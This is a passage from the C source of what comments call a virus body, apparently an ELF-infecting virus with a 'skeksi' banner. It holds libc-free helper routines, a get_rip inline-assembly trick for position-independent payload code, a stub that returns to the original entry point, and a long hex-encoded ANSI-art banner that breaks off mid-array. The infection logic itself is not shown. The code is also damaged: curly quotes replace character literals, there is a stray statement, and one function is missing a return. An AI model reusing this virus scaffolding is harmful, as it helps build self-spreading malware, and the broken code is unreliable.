        __builtin_va_list alist;

        in_p;
        __builtin_va_start((alist), (fmt));

        in_p = 0;
        while(*fmt) {
                if (*fmt!=‘%‘ && !in_p) {
                        _write(1, fmt, 1);
                        in_p = 0;
                }
                else if (*fmt!=‘%‘) {
                        switch(*fmt) {
                                case ‘s‘:
                                        dword = (unsigned long) __builtin_va_arg(alist, long);
                                        _puts((char *)dword);
                                        break;
                                case ‘u‘:
                                        word = (unsigned int) __builtin_va_arg(alist, int);
                                        _puts(itoa(word, numbuf));
                                        break;
                                case ‘d‘:
                                        word = (unsigned int) __builtin_va_arg(alist, int);
                                        _puts(itoa(word, numbuf));
                                        break;
                                case ‘x‘:
                                        dword = (unsigned long) __builtin_va_arg(alist, long);
                                        _puts(itox(dword, numbuf));
                                        break;
                                default:
                                        _write(1, fmt, 1);
                                        break;
                        }
                        in_p = 0;
                }
                else {
                        in_p = 1;
                }
                fmt++;
        }
        return 1;
}
char * itoa(long x, char *t)
{
        int i;
        int j;

        i = 0;
        do
        {
                t[i] = (x % 10) + ‘0‘;
                x /= 10;
                i++;
        } while (x!=0);

        t[i] = 0;

        for (j=0; j < i / 2; j++) {
                t[j] ^= t[i - j - 1];
                t[i - j - 1] ^= t[j];
                t[j] ^= t[i - j - 1];
        }

        return t;
}
char * itox(long x, char *t)
{
        int i;
        int j;

        i = 0;
        do
        {
                t[i] = (x % 16);

                /* char conversion */
                if (t[i] > 9)
                        t[i] = (t[i] - 10) + ‘a‘;
                else
                        t[i] += ‘0‘;

                x /= 16;
                i++;
        } while (x != 0);

        t[i] = 0;

        for (j=0; j < i / 2; j++) {
                t[j] ^= t[i - j - 1];
                t[i - j - 1] ^= t[j];
                t[j] ^= t[i - j - 1];
        }

        return t;
}

int _puts(char *str)
{
        _write(1, str, _strlen(str));
        _fsync(1);

        return 1;
}

int _puts_nl(char *str)
{
        _write(1, str, _strlen(str));
    _write(1, "\n", 1);
    _fsync(1);

        return 1;
}

size_t _strlen(char *s)
{
        size_t sz;

        for (sz=0;s[sz];sz++);
        return sz;
}

char _toupper(char c)
{
    if( c >=‘a‘ && c <= ‘z‘)
        return (c = c +‘A‘ - ‘a‘);
    return c;

}

int _strncmp(const char *s1, const char *s2, size_t n)
{
    for ( ; n > 0; s1++, s2++, --n)
        if (*s1 != *s2)
            return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1);
        else if (*s1 == ‘\0‘)
            return 0;
    return 0;
}

int _strcmp(const char *s1, const char *s2)
{
    for ( ; *s1 == *s2; s1++, s2++)
        if (*s1 == ‘\0‘)
                return 0;
    return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1);
}

int _memcmp(const void *s1, const void *s2, unsigned int n)
{
        unsigned char u1, u2;

        for ( ; n-- ; s1++, s2++) {
                u1 = * (unsigned char *) s1;
                u2 = * (unsigned char *) s2;
        if ( u1 != u2) {
                return (u1-u2);
        }
    }
}

//获取当前 rip
unsigned long get_rip(void)
{
    long ret;
    __asm__ __volatile__
    (
    "call get_rip_label \n"
        ".globl get_rip_label   \n"
        "get_rip_label:     \n"
        "pop %%rax      \n"
    "mov %%rax, %0" : "=r"(ret)
    );

    return ret;
}

//结束  同时转到原来的入口
void end_code()
{
    Exit(0);

}

void dummy_marker()
{
    __ASM__("nop");
}

//病毒体
const unsigned char skeksi_banner[] =
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30"
"\x6d\x58\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38"
"\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x74\x2e\x38\x3a\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x40\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x33\x3b\x34\x30\x6d\x53\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d"
"\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53"
"\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37"
"\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b"
"\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x40\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58"
"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x2e\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34"
"\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b"
"\x34\x37\x6d\x58\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x36\x3b\x34\x30\x6d\x25\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x3b\x3a\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32"
"\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x20\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x3a\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x53\x40\x38\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b"
"\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x25\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b"
"\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d"
"\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x37\x6d\x2e\x58\x3b\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b"
"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x2e\x20\x20\x20\x2e\x2e\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37"
